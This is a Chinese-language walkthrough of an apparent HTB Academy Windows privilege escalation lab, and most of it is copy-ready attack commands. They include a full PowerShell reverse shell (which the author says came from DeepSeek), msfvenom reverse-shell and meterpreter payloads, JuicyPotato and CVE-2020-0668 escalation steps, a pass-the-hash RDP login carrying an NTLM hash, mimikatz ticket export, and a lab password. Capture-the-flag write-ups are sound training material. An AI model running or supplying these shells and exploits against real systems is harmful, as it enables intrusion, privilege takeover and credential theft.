Windows Privilege Escalation Skills Assessment - Part I
第一个模块的入口命令注入的过滤规则很简单,重点是如何通过ping命令拿到shell
这个是我通过deepseek搞到的反弹shell的命令,不得不说有了ai确实方便很多,大家直接修改一下就可以直接用了
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.17',7878);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
这个页面就是我们成功拿到shell的界面
然后第一个问题可以通过systeminfo直接看到
然后提权的话这个有一些小点需要注意,就是大家知道是用juicypotato提权,但是一些小点不注意也会卡很久,没错我就是clisd没加双引号卡了半天的男人,大家构造也可以直接根据我的复制走就行,然后也省得大家还得一个一个找正确的clisd,外网就是很有问题都当谜语人,所以我直接给出来省的大家也费劲
msfvenom -p cmd/windows/reverse_powershell lhost=192.168.88.139 lport=1111 > 1.bat
./JuicyPotato.exe -t * -p c:\users\public\1.bat -l 5337 -clisd "{7A6D9C0A-1E7A-41B6-82B4-C3F7A27BA381}"
这里看到我们成功通过juicypotato拿到最高权限的shell,然后就是找flag文件
我们可以通过这个命令查找,这也是我改过的了,非常适合中国宝宝的命令
dir C:\ /s /b | findstr /i “confidential.txt”
然后就是筛可以看的目录里可以打开的文件中包含ldapadmin这个字符串的命令
Get-ChildItem -Path C:\Users\ -Recurse -File | Select-String -Pattern 'ldapadmin'
这里我们直接就可以看到bindpassword就是最终答案
Windows Privilege Escalation Skills Assessment - Part II
这一关我是直接没有任何耐心去一个一个执行命令了,所以我直接上winpeas了,不要问我是怎么发现密码的,一个字试,对所有winpeas所显示的可疑文件挨个尝试
然后打开这个xml文件就可以看到要的凭据了,这里图片没截好,但大致是这么个意思
然后这一步是因为我实在配置不好那个vstdio环境,太费劲一直下载不成功,而且原先开smb共享的方式还用不了,费劲千辛万苦才找到这么一个共享的方式,因为这个提权的程序卡了两三个小时
xfreerdp /v:<target-ip> /u:htb-student /p:'HTB_@cademy_stdnt!' /drive:linux,/tmp
然后需要注意的是这里我们演示的只复制exe文件是错误的,我们要把整个CVE目录复制下来,要不然会缺dll文件
这里我们直接按照内核提权章节中的提示一步一步走就行,但是最恶心的又来了,copy命令一定要在cmd窗口执行,power shell窗口执行的话就废了就得重置机子了
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.14.157 LPORT=8443 -f exe > maintenanceservice.exe
C:\Users\htb-student\tmp\CVE-2020-0668\CVE-2020-0668.exe C:\Users\htb-student\maintenanceservice.exe "c:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"
copy /Y C:\Users\htb-student\maintenanceservice2.exe "c:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"
这里我们可以看到程序成功运行,但是别高兴得太早,后面还有恶心的地方
我们通过cve确实拿到高权限的shell了,但是只有不到五秒。。。。
所以我们还需找一种持久利用的方法,这个时候我想先拿下管理员的hash,然后在通过msfconsole的psexec模块进行pth票据传递
好消息确实有用可以看flag文件了,坏消息只能看文件
所有我又想到一种可以传递票据登录的方式,没错xfeerdp也支持pth票据传递
xfreerdp /v:10.129.37.13 /u:Administrator /pth:aad3b435b51404eeaad3b435b51404ee:7796ee39fd3a9c3a1844556115ae1a54
然后成功登录管理员账号后,首先看看谁在管理员组,到时候提取hash时就会方便一些,缩小一些范围
我们通过这两条命令便可获得所有用户的ntlm hash,其中那两个用户中只有mrb3n的ntml hash可以被破解
privilege::debug
sekurlsa::tickets /export
所以这个就是我们要的答案,完美撒花
总结:
这绝对是最好的一个总结练习了,虽然浪费了足足十几个小时,但是打完下来满满的成就感,接下来我们就该迎来域控模块,还希望各位小伙伴跟紧脚步,早日结束这些模块